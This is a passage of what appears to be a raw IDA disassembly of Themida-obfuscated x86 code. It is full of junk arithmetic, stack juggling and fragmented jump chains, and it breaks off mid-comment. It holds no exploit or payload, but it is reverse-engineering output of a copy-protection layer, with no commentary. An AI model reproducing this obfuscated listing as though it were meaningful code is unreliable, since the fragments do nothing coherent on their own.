loc_553516: ; CODE XREF: sub_5AEB29-5B60Cj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_553516 ; END OF FUNCTION CHUNK FOR sub_5AEB29 ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55351F: ; CODE XREF: sub_559C84-66B2j ; sub_559C84:loc_553700j ... lodsb loc_553520: ; CODE XREF: Themida_:005534C9j push 36EDh mov [esp+4+var_4], ecx jmp loc_5590B7 ; --------------------------------------------------------------------------- loc_55352D: ; CODE XREF: sub_559C84-3F53j pop edx jmp loc_558F02 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553533: ; CODE XREF: Themida_:005543F6j add edx, 4 xchg edx, [esp] pop esp jmp loc_558C23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55353F: ; CODE XREF: sub_559C84+4358j mov ecx, [esp+0] add esp, 4 add al, bl jmp loc_55C983 ; --------------------------------------------------------------------------- loc_55354F: ; CODE XREF: sub_559C84-2844j pop esi and esi, 79683494h inc esi xor esi, 23731DDCh mov ecx, esi pop esi shr ecx, 3 and ecx, 1F5131AFh shl ecx, 1 sub ecx, 1E824252h add ebx, ecx pop ecx xchg ebx, [esp-10h+arg_C] jmp loc_55A910 ; --------------------------------------------------------------------------- loc_55357C: ; CODE XREF: sub_559C84+50B2j mov edi, [esp-10h+arg_C] add esp, 4 push ebp push 2418h mov [esp-0Ch+arg_8], eax mov eax, 13B258DAh sub eax, 0FFFFFFFFh or eax, 2B1D0181h push ecx mov ecx, 732245DDh xor ecx, 18580BB9h inc ecx push edi mov edi, 68643EC5h shl edi, 7 push ecx mov ecx, 30DD7E5Eh dec ecx add ecx, 87D6D87h jmp loc_55C675 ; --------------------------------------------------------------------------- loc_5535C5: ; CODE XREF: sub_559C84-373Bj add esp, 4 jmp loc_55AD63 ; --------------------------------------------------------------------------- loc_5535CD: ; CODE XREF: sub_559C84+421Dj add word ptr [esp-4+arg_0], ax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5535D7: ; CODE XREF: sub_559C84+4E60j mov eax, 4CFD1965h and eax, 22D059C1h xor eax, 2E9C4E68h jmp loc_55E5FD ; --------------------------------------------------------------------------- loc_5535EB: ; CODE XREF: sub_559C84-1D04j mov ebp, [esp+0] add esp, 4 add ebp, 53106C7h push 24F8h mov [esp+0], ebp push dword ptr [esp+0] pop eax push 79Ah mov [esp+4+var_4], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+4+var_4] mov esp, [esp+4+var_4] pop ebp sub esp, 4 mov [esp+4+var_4], edi mov edi, 349D0D56h push ecx push edi jmp loc_555062 ; --------------------------------------------------------------------------- loc_553632: ; CODE XREF: sub_559C84+793j mov ebx, [esp+0Ch+var_C] add esp, 4 push ecx push ebx sub esp, 4 mov [esp+14h+var_14], edx mov dh, 60h mov bl, 23h sub bl, dh mov edx, [esp+14h+var_14] jmp loc_55DD78 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559AA2 loc_553651: ; CODE XREF: sub_559AA2+Dj mov [esp+8+var_8], ecx mov ecx, esp jmp loc_559097 ; END OF FUNCTION CHUNK FOR sub_559AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55365B: ; CODE XREF: sub_559C84+589j add esi, 1 jmp loc_553743 ; --------------------------------------------------------------------------- loc_553663: ; CODE XREF: sub_559C84+512Bj sub al, 74h push dx jmp loc_55708C ; --------------------------------------------------------------------------- loc_55366C: ; CODE XREF: sub_559C84-6049j mov esi, esp add esi, 4 jmp loc_55E98C ; --------------------------------------------------------------------------- loc_553679: ; CODE XREF: sub_559C84-447Aj sub edx, 3E18362Ah shr edx, 4 shr edx, 3 add edx, 0FE942C45h add esi, edx mov edx, [esp+16h+var_18+2] add esp, 4 xor esi, [esp+12h+var_14+2] jmp loc_55C1E7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_55369E proc near ; DATA XREF: Themida_:005534A0o ; FUNCTION CHUNK AT 0055FB65 SIZE 00000005 BYTES push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+0], cl pushf jmp loc_55FB65 sub_55369E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5536AE: ; CODE XREF: sub_559C84+5D42j sub edi, edx pop edx sub edi, 8F31ACAh add edi, 2D5D21C3h add edi, ecx push esi mov esi, 2D5D21C3h sub edi, esi pop esi add edi, 8F31ACAh push 71BAh jmp loc_55FBAA ; --------------------------------------------------------------------------- loc_5536D8: ; CODE XREF: sub_559C84-384Dj pop ecx push 76B2h mov [esp+12h+var_14+2], edx push ecx push esi mov esi, 576E36D8h sub esi, 5742E2C9h mov ecx, esi pop esi dec ecx shl ecx, 8 sub ecx, 0E11DD3D3h jmp loc_55C8FB ; --------------------------------------------------------------------------- loc_553700: ; CODE XREF: sub_559C84-3FE2j jmp loc_55351F ; --------------------------------------------------------------------------- loc_553705: ; CODE XREF: sub_559C84+2287j sub eax, 238375B7h push edi mov edi, 45F95F6Eh jmp loc_556429 ; --------------------------------------------------------------------------- loc_553715: ; CODE XREF: sub_559C84+226Ej xor edi, ebp pop ebp jmp loc_55A7C9 ; --------------------------------------------------------------------------- loc_55371D: ; CODE XREF: sub_559C84-28E5j pop edx jmp sub_55799E ; --------------------------------------------------------------------------- loc_553723: ; CODE XREF: sub_559C84-2486j pop ebx pop eax add ebx, 6E3F574Fh add ebx, edi push eax mov eax, 644D2123h sub eax, 0F60DC9D4h sub ebx, 261D6CA4h jmp loc_559551 ; --------------------------------------------------------------------------- loc_553743: ; CODE XREF: sub_559C84-6626j xchg esi, ecx jmp sub_55E1F9 ; --------------------------------------------------------------------------- loc_55374A: ; CODE XREF: sub_559C84+E05j add [esp+14h+var_14], 4 pop ebp push ecx mov ecx, 4 add ebp, ecx pop ecx sub esp, 4 mov [esp+14h+var_14], edi jmp loc_55EF7F ; --------------------------------------------------------------------------- loc_553763: ; CODE XREF: sub_559C84+2E6Cj mov esi, [esp+14h+var_14] add esp, 4 not edi xor edi, 7213D20h push 7FE3h mov [esp+14h+var_14], eax push edi mov edi, 7C9D3072h shr edi, 8 jmp loc_55D379 ; --------------------------------------------------------------------------- loc_55378A: ; CODE XREF: sub_559C84-5646j shr edi, 3 xor edi, 110EC05Ah add ebx, edi pop edi push ecx push edi push ebx jmp loc_553BAA ; --------------------------------------------------------------------------- loc_55379E: ; CODE XREF: sub_559C84+4B74j mov edi, esp add edi, 4 jmp loc_55E981 ; --------------------------------------------------------------------------- loc_5537AB: ; CODE XREF: sub_559C84-2FEEj sub al, 0B0h push [esp+20h+var_20] mov ebx, [esp+24h+var_24] add esp, 4 jmp loc_556968 ; --------------------------------------------------------------------------- loc_5537BB: ; CODE XREF: sub_559C84+3732j xor ecx, 1F6A57B0h jmp sub_55E611 ; --------------------------------------------------------------------------- loc_5537C6: ; CODE XREF: sub_559C84-96j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp+20h+var_20] pop esp or eax, eax jz loc_555E7F push dword ptr [edi+28h] push [esp+20h+var_20] jmp loc_55800E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559AA2 loc_5537E8: ; CODE XREF: sub_559AA2-9F0j add ecx, 4 jmp loc_5568C9 ; END OF FUNCTION CHUNK FOR sub_559AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5537F3: ; CODE XREF: sub_559C84+3A9Ej add ch, bl jmp loc_558BEB ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- db 87h ; ‡ ; CODE XREF: sub_55E51A-950Dj db 0Ch db 24h ; $ db 5Ch ; \ db 89h ; ‰ db 3Ch ; < db 24h ; $ db 54h ; T db 8Bh ; ‹ db 3Ch ; < db 24h ; $ db 0E9h ; é db 7 db 3Dh ; = db 0 db 0 db 66h ; f db 8Bh ; ‹ db 0Ch db 24h ; $ db 53h ; S db 54h ; T db 8Bh ; ‹ db 1Ch db 24h ; $ db 52h ; R db 89h ; ‰ db 0E2h ; â db 0E9h ; é db 0D5h ; Õ db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_55381B: ; CODE XREF: sub_559C84-6154j push ecx push ebp push edx mov edx, 7EB92668h jmp loc_5544A1 ; --------------------------------------------------------------------------- loc_553828: ; CODE XREF: sub_559C84+427Dj add edx, 4 add edx, 4 xchg edx, [esp+30h+var_30] jmp loc_558C5F ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55383C: ; CODE XREF: Themida_:0055EB71j mov ebx, 5BBD29E7h or ebx, 6D3241F0h not ebx sub ebx, 1FE75A44h dec ebx sub ebx, 60593BBFh add ecx, ebx jmp loc_556511 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55895E loc_55385D: ; CODE XREF: sub_55895E+5A09j mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+8+var_8] pop esp push ebp mov ebp, 4 jmp loc_55C35E ; END OF FUNCTION CHUNK FOR sub_55895E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553876: ; CODE XREF: sub_559C84+2FC8j push esi jmp loc_55D4F6 ; --------------------------------------------------------------------------- loc_55387C: ; CODE XREF: sub_559C84-5F53j xor edi, 118A25A4h add edx, 1D372BE1h sub edx, edi push ebp mov ebp, 13D907A0h jmp loc_55F44D ; --------------------------------------------------------------------------- loc_553895: ; CODE XREF: sub_559C84+558Fj push edi push ecx mov ecx, 1C50245Fh dec ecx neg ecx sub ecx, 1D307A8Fh shl ecx, 4 jmp loc_556A26 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554790 loc_5538AD: ; CODE XREF: sub_554790+Ej push ecx push edi push 79487896h jmp loc_55B039 ; END OF FUNCTION CHUNK FOR sub_554790 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5538B9: ; CODE XREF: sub_559C84-61C1j sub edi, 0E5741A5h dec edi jmp loc_55F6AF ; --------------------------------------------------------------------------- loc_5538C5: ; CODE XREF: sub_559C84+5F3Ej mov [esp+40h+var_42+2], edx push eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_5538CF: ; CODE XREF: sub_559C84+39ABj mov [esp+48h+var_4A+2], ecx mov cl, 6Fh xor cl, 36h push ebx mov bh, 48h jmp loc_55EC66 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_5538DF proc near ; CODE XREF: sub_559C84+4271j var_2 = word ptr -2 ; FUNCTION CHUNK AT 0055807D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00558649 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00559375 SIZE 00000013 BYTES push ebx mov bl, 2Ch xor bl, 7 add bl, 0B7h mov dh, bl jmp loc_55807D sub_5538DF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5538EF: ; CODE XREF: sub_559C84+30CFj add bl, 88h pop edx add bl, 82h add bl, al sub bl, 82h jmp loc_5552F5 ; --------------------------------------------------------------------------- loc_553900: ; CODE XREF: sub_559C84-4616j movzx eax, al push dword ptr [edi+eax*4] push [esp+4Ch+var_4E+2] mov eax, [esp+50h+var_52+2] jmp loc_55E223 ; --------------------------------------------------------------------------- loc_553911: ; CODE XREF: sub_559C84+29DBj sub ecx, 2CE81FC1h jmp loc_55668B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_55391C: ; CODE XREF: sub_558BA2-B99j push eax push esp pop eax add eax, 4 push edi push esi mov esi, 60D933E2h mov edi, 9F26CC22h add edi, esi jmp loc_55975F ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- loc_553937: ; CODE XREF: Themida_:0055F763j mov ebp, esp add ebp, 4 push edi mov edi, 4 jmp loc_555E8A ; --------------------------------------------------------------------------- loc_55394A: ; CODE XREF: Themida_:00555652j push esp push dword ptr [esp] mov edi, [esp] jmp loc_55547D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553956: ; CODE XREF: sub_559C84-59C4j add eax, 0FC7A94E1h jmp loc_556F9B ; --------------------------------------------------------------------------- loc_553960: ; CODE XREF: sub_559C84-5191j mov dh, 82h sub dh, bh mov ebx, [esp+50h+var_52+2] jmp loc_558876 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55895E loc_55396C: ; CODE XREF: sub_55895E+6j add edi, ebp jmp loc_55E35D ; END OF FUNCTION CHUNK FOR sub_55895E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5589C1 loc_553973: ; CODE XREF: sub_5589C1-242Ej mov edx, 1C1D4846h jmp loc_559B17 ; END OF FUNCTION CHUNK FOR sub_5589C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555531 loc_55397D: ; CODE XREF: sub_555531+326Aj sub ebx, ebp pop ebp jmp loc_55E783 ; END OF FUNCTION CHUNK FOR sub_555531 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553985: ; CODE XREF: sub_559C84+4BEj sub al, ch pop ecx jmp loc_55480E ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_55398D: ; CODE XREF: Themida_:00553AE9j pop dx add al, 78h push edx push eax mov ah, 0C7h or ah, 26h not ah dec ah add ah, 55h dec ah add ah, 0BCh or ah, 7Ch or ah, 5Bh jmp loc_556BE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E26B loc_5539AF: ; CODE XREF: sub_55E26B-8472j push edi mov edi, 33457FF5h sub edi, 5151421Fh xor edi, 0E1F43DD2h add ebp, edi pop edi jmp loc_554239 ; END OF FUNCTION CHUNK FOR sub_55E26B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_5539C9: ; CODE XREF: sub_559C84-502Ej and cl, bl pop ebx push small 0C90h mov word ptr [esp+4Ah+var_4A], bx push ecx mov ch, 0B0h mov bl, ch jmp loc_55EE9C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push ebp sub esp, 4 mov [esp], esi push ebp mov ebp, 57093D16h push ebp pop esi pop ebp mov ebp, 24560F7Ch xor ebp, esi mov esi, [esp] add esp, 4 jmp loc_556B4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553A03: ; CODE XREF: sub_559C84-716j shl bh, 5 jmp loc_557246 ; --------------------------------------------------------------------------- loc_553A0B: ; CODE XREF: sub_559C84-266j add esi, 4 xchg esi, [esp+4Eh+var_4E] jmp loc_55DB06 ; --------------------------------------------------------------------------- loc_553A16: ; CODE XREF: sub_559C84-A69j push ecx pop ebx mov ecx, [esp+4Eh+var_4E] add esp, 4 or [edi+1Ch], ebx pop ebx loc_553A25: ; CODE XREF: sub_559C84-237Bj push 0A34h jmp loc_555A67 ; --------------------------------------------------------------------------- loc_553A2F: ; CODE XREF: sub_559C84+56D5j xor al, 9Ah jmp loc_55DFCF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553A36: ; CODE XREF: Themida_:0055E0AAj add esp, 4 add edi, 4 add edi, 4 jmp loc_5547B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553A4D: ; CODE XREF: sub_559C84+55BAj add ebx, 0FDE8C6C1h add edx, 795140F7h add edx, ebx jmp loc_555C8C ; --------------------------------------------------------------------------- loc_553A60: ; CODE XREF: sub_559C84+5347j add eax, 4 jmp loc_554DC7 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553A6A: ; CODE XREF: Themida_:0055563Bj add ax, si pop si push ecx mov cx, 5E10h jmp loc_558E46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553A79: ; CODE XREF: sub_559C84+3672j pop ebx jmp loc_559DE7 ; --------------------------------------------------------------------------- loc_553A7F: ; CODE XREF: sub_559C84-D15j xchg ecx, [esp+46h+var_46] mov esp, [esp+46h+var_46] mov [esp+46h+var_46], eax jmp loc_558271 ; --------------------------------------------------------------------------- loc_553A8D: ; CODE XREF: sub_559C84+5A1j mov ebx, 7FF20537h add ebp, ebx pop ebx sub ebp, 1A1CB70Ch and eax, ebp push [esp+42h+var_42] mov ebp, [esp+46h+var_46] add esp, 4 add esp, 4 jmp loc_55F058 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DE4E loc_553AAE: ; CODE XREF: sub_55DE4E+Bj push edx jmp loc_558F81 ; END OF FUNCTION CHUNK FOR sub_55DE4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553AB4: ; CODE XREF: sub_559C84+4124j push edi mov edi, 6EB93A4Ch or edi, 6D2F38E5h shr edi, 5 jmp loc_5538B9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558BA2 loc_553AC8: ; CODE XREF: sub_558BA2+5F0Cj sub ebx, edi jmp loc_55D46B ; END OF FUNCTION CHUNK FOR sub_558BA2 ; --------------------------------------------------------------------------- loc_553ACF: ; CODE XREF: Themida_:00558C90j push ecx push 2AD3h jmp loc_5544D1 ; =============== S U B R O U T I N E ======================================= sub_553ADA proc near ; CODE XREF: sub_559C84+4558j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00556683 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edx jmp loc_556683 sub_553ADA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_553AE5: ; CODE XREF: Themida_:00558164j mov dl, 18h sub al, dl jmp loc_55398D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553AEE: ; CODE XREF: sub_559C84-3BA2j pop eax jmp loc_556D39 ; --------------------------------------------------------------------------- loc_553AF4: ; CODE XREF: sub_559C84-3DFFj mov [esp+3Eh+var_3E], eax mov eax, ebx jmp loc_55F188 ; --------------------------------------------------------------------------- loc_553AFE: ; CODE XREF: sub_559C84+1543j push edx mov dl, 9Fh add dl, 39h add al, dl pop edx mov ebx, [esp+3Eh+var_3E] add esp, 4 sub al, bl push ebx push ecx mov ch, 32h jmp loc_55EDCB ; --------------------------------------------------------------------------- loc_553B1B: ; CODE XREF: sub_559C84+345Bj pop ebp push eax pop ebx pop eax jmp loc_55CC92 ; --------------------------------------------------------------------------- loc_553B24: ; CODE XREF: sub_559C84-3B39j mov ebx, [esp+3Ah+var_3A] push ebp mov ebp, esp add ebp, 4 jmp loc_55381B ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553B35: ; CODE XREF: Themida_:005585BBj and ecx, 45432AE4h inc ecx jmp loc_557A92 ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], cx jmp loc_5543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553B51: ; CODE XREF: sub_559C84-1F10j pop ebx push ebp jmp loc_55E767 ; --------------------------------------------------------------------------- loc_553B58: ; CODE XREF: sub_559C84+44E3j pop [esp+3Eh+var_3E] pop ebx jmp loc_558D39 ; --------------------------------------------------------------------------- loc_553B61: ; CODE XREF: sub_559C84+1E3Cj pop ebx jmp loc_55AF88 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553B67: ; CODE XREF: Themida_:0055F091j sub esp, 4 jmp loc_553F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553B72: ; CODE XREF: sub_559C84-28A7j sub al, 69h add al, 49h jmp loc_556214 ; --------------------------------------------------------------------------- loc_553B7B: ; CODE XREF: sub_559C84-55E2j push ecx mov ecx, 7DFE6DDAh sub esi, ecx pop ecx mov edi, esi pop esi jmp loc_55F3DF ; --------------------------------------------------------------------------- loc_553B8C: ; CODE XREF: sub_559C84-83Bj pop edi sub esp, 4 mov [esp+2Eh+var_30+2], ebx jmp loc_558A7B ; --------------------------------------------------------------------------- loc_553B9B: ; CODE XREF: sub_559C84+1508j push eax mov ah, ch mov dl, ah pop eax pop ecx neg dl push ecx jmp loc_559161 ; --------------------------------------------------------------------------- loc_553BAA: ; CODE XREF: sub_559C84-64EBj mov ebx, 6083497Ah mov edi, ebx pop ebx mov ecx, 6083497Eh sub ecx, edi pop edi add ebx, ecx push [esp+18h+var_18] pop ecx add esp, 4 xchg ebx, [esp+14h+var_14] mov esp, [esp+14h+var_14] push 3082h jmp loc_556E9D ; --------------------------------------------------------------------------- loc_553BD3: ; CODE XREF: sub_559C84-44C1j mov edx, 2C5E2048h jmp loc_559254 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- push edi mov edi, esp push eax jmp loc_55C04E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553BE6: ; CODE XREF: sub_559C84+59D7j xchg ebp, [esp+18h+var_18] mov eax, [esp+18h+var_18] sub esp, 4 mov [esp+1Ch+var_1C], edx jmp loc_558DFC ; --------------------------------------------------------------------------- loc_553BF7: ; CODE XREF: sub_559C84+3B22j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] mov [esp+1Ch+var_1C], edx mov edx, 4 add ecx, edx pop edx xor ecx, [esp+18h+var_18] xor [esp+18h+var_18], ecx jmp loc_55C6C8 ; --------------------------------------------------------------------------- loc_553C1E: ; CODE XREF: sub_559C84+3349j push esi mov esi, 36271794h mov edx, 0C9D8E870h add edx, 6A155B24h add edx, esi sub edx, 6A155B24h mov esi, [esp+1Ch+var_1C] push esi jmp loc_55366C ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55EB5B loc_553C40: ; CODE XREF: sub_55EB5B-1DFj sub ax, 76F5h pop esi jmp loc_55BBB4 ; END OF FUNCTION CHUNK FOR sub_55EB5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553C4A: ; CODE XREF: sub_559C84+4058j sub eax, ecx push edi mov edi, 19C621BDh sub eax, edi jmp loc_55CEEF ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553C59: ; CODE XREF: Themida_:005544F6j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp bt [esp], eax pushf jmp loc_55351F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553C7D: ; CODE XREF: sub_559C84-3844j sub bl, cl pop cx add bl, dh add bl, 59h pop dx jmp loc_55DA03 ; --------------------------------------------------------------------------- loc_553C8D: ; CODE XREF: sub_559C84+43A4j neg edi dec edi add edi, 0DC4534C5h mov ebp, edi jmp loc_55FC1D ; --------------------------------------------------------------------------- loc_553C9D: ; CODE XREF: sub_559C84+1580j pop ecx push edx jmp loc_5566F4 ; --------------------------------------------------------------------------- loc_553CA4: ; CODE XREF: sub_559C84+3B55j mov [esp+20h+var_20], edx jmp loc_55BB55 ; --------------------------------------------------------------------------- loc_553CAC: ; CODE XREF: sub_559C84+4416j pop eax jmp loc_55C070 ; --------------------------------------------------------------------------- loc_553CB2: ; CODE XREF: sub_559C84+A3Aj mov ebx, [esp+1Ch+var_1C] add esp, 4 add ebx, 4AFF1D04h jmp loc_554916 ; --------------------------------------------------------------------------- loc_553CC6: ; CODE XREF: sub_559C84-2C39j shl edi, 6 not edi sub edi, 0FFFFFFFFh dec edi shr edi, 6 sub edi, 1E09E04h sub esp, 4 mov [esp+1Ch+var_1C], esi mov esi, edi mov edx, esi push [esp+1Ch+var_1C] pop esi add esp, 4 pop edi jmp loc_55EA69 ; --------------------------------------------------------------------------- loc_553CF2: ; CODE XREF: sub_559C84-37C4j mov edx, edi push ecx push 182Eh mov [esp+1Ch+var_1C], edx mov ecx, [esp+1Ch+var_1C] add esp, 4 push ecx sub [esp+1Ch+var_1C], 0F9124EBh pop eax add eax, 0F9124EBh mov ecx, [esp+18h+var_18] jmp loc_55B296 ; --------------------------------------------------------------------------- loc_553D19: ; CODE XREF: sub_559C84-2881j pop esp push 36A6h mov [esp+18h+var_18], edx push ebx push ebp mov ebp, esp jmp loc_5552E4 ; --------------------------------------------------------------------------- loc_553D2B: ; CODE XREF: sub_559C84+24D9j sub edi, 194E5313h jmp loc_55387C ; --------------------------------------------------------------------------- loc_553D36: ; CODE XREF: sub_559C84+4DE0j and byte ptr [esp+20h+var_20], al pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_553D3F: ; CODE XREF: sub_559C84+3FF8j pop [esp+24h+var_24] pop esp mov [esp+1Ch+var_1C], ebp mov ebp, 40h and ecx, ebp mov ebp, [esp+1Ch+var_1C] add esp, 4 jmp loc_55455B ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_553D58 proc near ; CODE XREF: sub_559C84+602j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00556F1F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055714D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055ECBD SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055FC66 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], edx mov dh, 0B1h jmp loc_556F1F sub_553D58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553D65: ; CODE XREF: sub_559C84+4841j mov [esp+18h+var_18], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] mov [esp+1Ch+var_1C], esp push edi mov edi, 4 add [esp+20h+var_1C], edi pop edi pop esi jmp loc_55CA3A ; --------------------------------------------------------------------------- loc_553D91: ; CODE XREF: sub_559C84+4585j mov ch, ah pop eax add ch, bl jmp loc_5599F8 ; --------------------------------------------------------------------------- loc_553D9B: ; CODE XREF: sub_559C84+4F3Dj neg eax shl eax, 3 xor eax, 4F6134AFh jmp loc_555FC5 ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553DAA: ; CODE XREF: Themida_:0055497Cj sub esp, 4 mov [esp], esi jmp loc_55AD12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553DB5: ; CODE XREF: sub_559C84-5610j pop edx push eax mov eax, 5E4B1DC2h xor edx, eax pop eax pop eax add edi, edx pop edx xchg edi, [esp+8+var_8] pop esp mul cl movzx cx, ah push small 57BCh mov word ptr [esp+6+var_8+2], cx movzx cx, al push cx pushf jmp loc_55351F ; --------------------------------------------------------------------------- loc_553DE1: ; CODE XREF: sub_559C84+2BB6j xor eax, 76BF0F52h jmp loc_5589E6 ; --------------------------------------------------------------------------- loc_553DEB: ; CODE XREF: sub_559C84+372j mov ecx, 6F7330A4h mov ebx, 0F925FD99h add ebx, ecx pop ecx shr ebx, 6 or ebx, 7FDA47C3h sub ebx, 56C901E6h jmp loc_5560A5 ; --------------------------------------------------------------------------- loc_553E0C: ; CODE XREF: sub_559C84+D6Fj add esp, 4 jmp loc_555C1B ; --------------------------------------------------------------------------- loc_553E14: ; CODE XREF: sub_559C84+1FF1j pop esp add edx, 4 jmp loc_55CC1D ; END OF FUNCTION CHUNK FOR sub_559C84 ; --------------------------------------------------------------------------- loc_553E20: ; CODE XREF: Themida_:00558D51j push esp pop esi push 2E05h mov [esp], edi jmp loc_554FE3 ; --------------------------------------------------------------------------- loc_553E2F: ; CODE XREF: Themida_:0055DD8Cj mov [esp], ebp mov ebp, 4 add ebx, ebp pop ebp jmp loc_55792E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553E3F: ; CODE XREF: sub_559C84+363Ej pop ebx push edi mov edi, esp jmp loc_553FD9 ; END OF FUNCTION CHUNK FOR sub_559C84 ; =============== S U B R O U T I N E ======================================= sub_553E48 proc near ; DATA XREF: Themida_:00553480o var_4 = dword ptr -4 push dword ptr [esp+0] pop ecx sub esp, 4 mov [esp+4+var_4], ebx push esp jmp loc_55CFCB sub_553E48 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55702F loc_553E5B: ; CODE XREF: sub_55702F+Fj xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] mov esp, [esp+0] jmp loc_5559CE ; END OF FUNCTION CHUNK FOR sub_55702F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559C84 loc_553E6C: ; CODE XREF: sub_559C84+310Cj dec edx neg edx jmp loc_555875 ; --------------------------------------------------------------------------- loc_553E74: ; CODE XREF: sub_559C84-463Aj add eax, edx push edi mov edi, 36456E8Ch add eax, edi pop edi sub eax, 243A0F4Fh jmp loc_55DE0A ; END OF FUNCTION CHUNK FOR 